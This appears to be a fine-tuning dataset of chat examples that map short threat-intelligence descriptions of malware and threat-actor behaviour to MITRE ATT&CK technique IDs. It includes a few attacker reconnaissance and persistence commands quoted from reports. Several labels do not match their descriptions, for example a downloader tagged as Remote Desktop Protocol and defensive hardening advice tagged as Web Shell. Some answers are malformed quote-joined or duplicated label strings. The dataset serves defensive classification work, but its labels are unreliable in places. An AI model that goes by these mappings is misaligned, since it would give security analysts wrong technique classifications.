                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "injects its DLL component into svchost.exe."
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can gather a list of processes."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cobalt Group has sent Word OLE compound documents with malicious obfuscated VBA macros that will run upon user execution."
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "WellMess can identify the computer name of a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "To install this module, drop the entire PowerSploit folder into one of your module directories. The default PowerShell module paths are listed in the $Env:PSModulePath environment variable"
            },
            {
                "role": "assistant",
                "content": "T1574.007 - Path Interception by PATH Environment Variable"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Daserf — This backdoor has the functionality of a remote shell and can be used to execute commands, upload and download data, capture screenshots, and log keystrokes. It uses RC4 encryption and custom Base64 encoding to obfuscate HTTP traffic. xxmm (also known as Minzen) — This RAT and likely successor to Daserf AES-encrypts HTTP communications using a one-time encryption key. As of this publication, BRONZE BUTLER demonstrates a preference for concurrently using Datper and xxmm in its operations. CTU researchers identified an xxmm builder for xxmm (see Figure 2), which suggests that the threat actors customize the xxmm malware settings based on the target. T-SMB Scan — This SMB scanning tool was originally published on a Chinese program-sharing website (pudn.com). BRONZE BUTLER removed its help message functionality. After a few minutes, execute the malicious file on the system. Use malware to upload the large list of enumerated files to the C2 server. Use an uploader or other malware to send the archived files to an attacker-controlled server. Search proxy log files for evidence of web server scanning using the URL patterns associated with BRONZE BUTLER activity"
            },
            {
                "role": "assistant",
                "content": "T1080 - Taint Shared Content"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "These events will run respectively at 15:30:40 and when the system uptime is between 300 and 400 seconds. The variable $HL39fjh contains the base64-encoded PowerShell command shown in Figure 2. It reads the Windows Registry key where the encrypted payload is stored, and contains the password and the salt needed to decrypt the payload"
            },
            {
                "role": "assistant",
                "content": "T1012 - Query Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "As noted, there are two distinct variants of ServHelper: a “tunnel” variant and a “downloader” variant. The “downloader” variant is stripped of the tunneling and hijacking functionality and is used as a basic downloader"
            },
            {
                "role": "assistant",
                "content": "T1021.001 - Remote Services: Remote Desktop Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Kimsuky has sent spearphishing emails containing a link to a document that contained malicious macros or took the victim to an actor-controlled domain."
            },
            {
                "role": "assistant",
                "content": "T1566.002 - Phishing: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "HTTPBrowser is capable of capturing keystrokes on victims."
            },
            {
                "role": "assistant",
                "content": "T1056.001 - Input Capture: Keylogging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Tonto Team has downloaded malicious DLLs which served as a ShadowPad loader."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "WINERACK can enumerate processes."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TG-3390 uses DLL side loading, a technique that involves running a legitimate, typically digitally signed, program that loads a malicious DLL. CTU researchers have observed the threat actors employing legitimate Kaspersky antivirus variants in analyzed samples. The DLL acts as a stub loader, which loads and executes the shell code. The adversaries have used this technique to allow PlugX and HttpBrowser to persist on a system"
            },
            {
                "role": "assistant",
                "content": "T1574.002 - Hijack Execution Flow: DLL Side-Loading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "performs account discovery using commands such as net localgroup administrators and net group \"REDACTED\" /domain on specific permissions groups."
            },
            {
                "role": "assistant",
                "content": "T1087 - Account Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "These PowerShell scripts are final stage payloads – they include a downloader with domain generation algorithm (DGA) functionality and the backdoor component, which connect to the C2 server to receive commands and perform additional malicious activities.  hUpdateCheckers.ps1 (POWRUNER) The backdoor component, POWRUNER, is a PowerShell script that sends and receives commands to and from the C2 server"
            },
            {
                "role": "assistant",
                "content": "T1546.013 - Event Triggered Execution: PowerShell Profile', 'T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Inception has used specific malware modules to gather domain membership."
            },
            {
                "role": "assistant",
                "content": "T1069.002 - Permission Groups Discovery: Domain Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The size of the PuTTY binary downloaded by the victim is also substantially larger than the legitimate version. Upon closer inspection, it has a large, high entropy .data section in comparison to the officially distributed version (Figure 3). Sections like these are typically indicative of packed or encrypted data."
            },
            {
                "role": "assistant",
                "content": "T1027.002 - Obfuscated Files or Information: Software Packing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has used appcmd.exe to disable logging on a victim server."
            },
            {
                "role": "assistant",
                "content": "T1562.001 - Impair Defenses: Disable or Modify Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "f) Hadoop YARN ResourceManager – Command Execution (exploit) g) CVE-2016-3088: Apache ActiveMQ Fileserver File Upload Remote Code Execution Vulnerability"
            },
            {
                "role": "assistant",
                "content": "T1203 - Exploitation for Client Execution', 'T1203 - Exploitation for Client Execution', 'T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AuTo Stealer can use HTTP to communicate with its C2 servers."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "captures window titles."
            },
            {
                "role": "assistant",
                "content": "T1010 - Application Window Discovery', 'T1010 - Application Window Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Bazar can create or add files to Registry Run Keys to establish persistence."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "allows adversaries to enumerate and modify the infected host's file system. It supports searching for directories, creating directories, listing directory contents, reading and writing to files, retrieving file attributes, and retrieving volume information."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "It uses the legitimate Naver email platform in order to communicate with the attackers via email"
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The payload contains an exploit for the unpatched local privilege escalation vulnerability CVE-2015-1701 in Microsoft Windows. The exploit uses CVE-2015-1701 to execute a callback in userspace. The callback gets the EPROCESS structures of the current process and the System process, and copies data from the System token into the token of the current process. Upon completion, the payload continues execution in usermode with the privileges of the System process"
            },
            {
                "role": "assistant",
                "content": "T1134.001 - Access Token Manipulation: Token Impersonation/Theft"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ZxShell can kill AV products' processes."
            },
            {
                "role": "assistant",
                "content": "T1562.001 - Impair Defenses: Disable or Modify Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The reason for this is that most of the file comprises meaningless overlay data, since the file is an automatically generated AutoIT executable with an AutoIT3 script embedded inside. Once started, it downloads additional malware from the C2 and also uploads some basic system information, stealing, among other things, the user’s Google Chrome credentials. The backdoor also pings the C2 server at regular intervals. A good security analyst can spot this while analyzing firewall log files and thereby find out that something suspicious might be going on in the network"
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Aria-body has established persistence via the Startup folder or Run Registry key."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ComRAT has used PowerShell to load itself every time a user logs in to the system. ComRAT can execute PowerShell scripts loaded into memory or from the file system."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses WMIC to identify anti-virus products installed on the victim’s machine and to obtain firewall details."
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation', 'T1518.001 - Software Discovery: Security Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In this wave of attacks, Emotet trojan spreads by emails that lure victims into downloading a Christmas-themed Word document, which contains a macro that executes a PowerShell script to download a malicious payload. Commands in the macro are heavily obfuscated for defense evasion"
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can collect operating system (OS) version information, processor information, system name, and information about installed disks from the victim."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Turla has used IronPython scripts as part of the IronNetInjector toolchain to drop payloads."
            },
            {
                "role": "assistant",
                "content": "T1059.006 - Command and Scripting Interpreter: Python"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PUNCHBUGGY has used PowerShell scripts."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In addition to obfuscation techniques, it also has the ability to detect security tools on the analysis machine, and can also shut down the system if it detects the presence of such tools"
            },
            {
                "role": "assistant",
                "content": "T1518.001 - Software Discovery: Security Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Squirrelwaffle has encrypted collected data using a XOR-based algorithm."
            },
            {
                "role": "assistant",
                "content": "T1560.003 - Archive via Custom Method"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Hikit performs XOR encryption."
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ferocious Kitten has conducted spearphishing campaigns containing malicious documents to lure victims to open the attachments."
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The Cobalt Strike System Profiler can use JavaScript to perform reconnaissance actions."
            },
            {
                "role": "assistant",
                "content": "T1059.007 - Command and Scripting Interpreter: JavaScript"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Speaking on the vulnerability leveraged by this attack, while we spotted the attack performed via Office 2007 running on Windows XP, this is actually a fault existing in a TIFF-processing component shipped with Microsoft Office. Therefore, not only are Office 2007 with Windows XP vulnerable to this attack, but also more environments are affected by this vulnerability. In addition, our later research showed this exploit also works on Office 2007 running on Windows 7. The Labs has been actively working on getting every piece of details of this exploit, we may share our additional findings in the near future"
            },
            {
                "role": "assistant",
                "content": "T1203 - Exploitation for Client Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The loader will then inject a DLL backdoor into dllhost.exe"
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Sibot executes commands using VBScript."
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PowerLess can stage stolen browser data in `C:\\\\Windows\\\\Temp\\\\cup.tmp` and keylogger data in `C:\\\\Windows\\\\Temp\\\\Report.06E17A5A-7325-4325-8E5D-E172EBA7FC5BK`."
            },
            {
                "role": "assistant",
                "content": "T1074.001 - Data Staged: Local Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "IcedID uses TLS in all of its communication but the certificate is self-signed. They can be spotted, as they use this kind of a self-signed certificate. The keyword “Internet Widgits Pty Ltd” is also being used by Trickbot, another banking malware, and it is believed that Trickbot and IcedID are cousins"
            },
            {
                "role": "assistant",
                "content": "T1573.002 - Asymmetric Cryptography', 'T1185 - Browser Session Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has downloaded additional malware to execute on the victim's machine, including by using a PowerShell script to launch shellcode that retrieves an additional payload."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PUNCHBUGGY has Gzipped information and saved it to a random temp file before exfil."
            },
            {
                "role": "assistant",
                "content": "T1560.001 - Archive Collected Data: Archive via Utility"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Machete uses HTTP for Command & Control."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Network Indicators​     Hostname IP Address Notes   mailcenter.support 221.121.138.139 Domain used to for sending spear phishes and user tracking"
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Leviathan has used stolen code signing certificates to sign malware."
            },
            {
                "role": "assistant",
                "content": "T1553.002 - Code Signing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Frankenstein has established persistence through a scheduled task using the command: \" /Create /F /SC DAILY /ST 09:00 /TN WinUpdate /TR \", named \"WinUpdate\"."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT28 has routed traffic over Tor and VPN servers to obfuscate their activities."
            },
            {
                "role": "assistant",
                "content": "T1090.003 - Proxy: Multi-hop Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Dragonfly has placed trojanized installers for control system software on legitimate vendor app stores."
            },
            {
                "role": "assistant",
                "content": "T1195.002 - Compromise Software Supply Chain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "downloads and executes PowerShell scripts."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Kevin can use a custom protocol tunneled through DNS or HTTP."
            },
            {
                "role": "assistant",
                "content": "T1572 - Protocol Tunneling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has deleted files associated with their payload after execution."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FIN5 has used the open source tool Essential NetTools to map the network and build a list of targets."
            },
            {
                "role": "assistant",
                "content": "T1018 - Remote System Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ramsay can gather a list of running processes by using Tasklist."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Kobalos can record the hostname and kernel version of the target machine."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ixeshe can list running processes."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Bazar's loader can delete scheduled tasks created by a previous instance of the malware."
            },
            {
                "role": "assistant",
                "content": "T1070 - Indicator Removal on Host', 'T1070.009 - Clear Persistence"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Exaramel for Linux can decrypt its configuration file."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Melcoz has been packed with VMProtect and Themida."
            },
            {
                "role": "assistant",
                "content": "T1027.002 - Obfuscated Files or Information: Software Packing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Rover has keylogging functionality."
            },
            {
                "role": "assistant",
                "content": "T1056.001 - Input Capture: Keylogging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Sandworm Team has scanned network infrastructure for vulnerabilities as part of its operational planning."
            },
            {
                "role": "assistant",
                "content": "T1595.002 - Vulnerability Scanning"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Bumblebee has relied upon a user opening an ISO file to enable execution of malicious shortcut files and DLLs."
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "This shortcut file points to ‘C:\\Windows\\system32\\rundll32.exe “%APPDATA%\\cnagnt.dll”,Sd’    One of the exceptions to the installation routine above is in the event Symantec is detected"
            },
            {
                "role": "assistant",
                "content": "T1218.011 - Signed Binary Proxy Execution: Rundll32', 'T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Kobalos can write captured SSH connection credentials to a file under the \"/var/run\" directory with a \".pid\" extension for exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1074 - Data Staged"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "OilRig has used \"net localgroup administrators\" to find local administrators on compromised systems."
            },
            {
                "role": "assistant",
                "content": "T1069.001 - Permission Groups Discovery: Local Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In this latest discovery by McAfee ATR, despite a short pause in similar operations, the Lazarus group targets crypto currency and financial organizations. Furthermore, we have observed an increased usage of limited data gathering modules to quickly identify targets for further attacks. This campaign is tailored to identifying those who are running Bitcoin related software through specific system scans"
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "They should also take the following steps to harden both web applications and the servers hosting them to reduce the risk of network intrusion via this vector.Use and configure available firewalls to block attacks.Take steps to secure Windows systems, such as installing and configuring Microsoft’s Enhanced Mitigation Experience Toolkit (EMET) and Microsoft AppLocker.Monitor and remove any unauthorized code present in any www directories.Disable, discontinue, or disallow the use of Internet Control Message Protocol (ICMP) and Simple Network Management Protocol (SNMP) as much as possible.Remove unnecessary HTTP verbs from web servers"
            },
            {
                "role": "assistant",
                "content": "T1505.003 - Server Software Component: Web Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
